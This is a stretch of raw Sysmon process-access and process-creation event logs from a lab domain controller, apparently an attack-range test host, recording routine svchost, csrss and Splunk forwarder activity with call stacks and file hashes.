09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003711Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003710Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003709Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003708Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003707Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003706Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2914-5F80-BD00-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003705Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2914-5F80-BD00-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003704Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.285{A5F018FF-2914-5F80-BD00-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000003731Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-2915-5F80-BE00-000000007F01}2096C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003730Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003729Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003728Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003727Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003726Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003725Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003724Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003723Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003722Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003721Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2915-5F80-BE00-000000007F01}2096C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003720Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.955{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2915-5F80-BE00-000000007F01}2096C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003719Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:45.956{A5F018FF-2915-5F80-BE00-000000007F01}2096C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000003746Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.955{A5F018FF-2916-5F80-BF00-000000007F01}31843188C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003745Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-2916-5F80-BF00-000000007F01}3184C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003744Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003743Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003742Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNE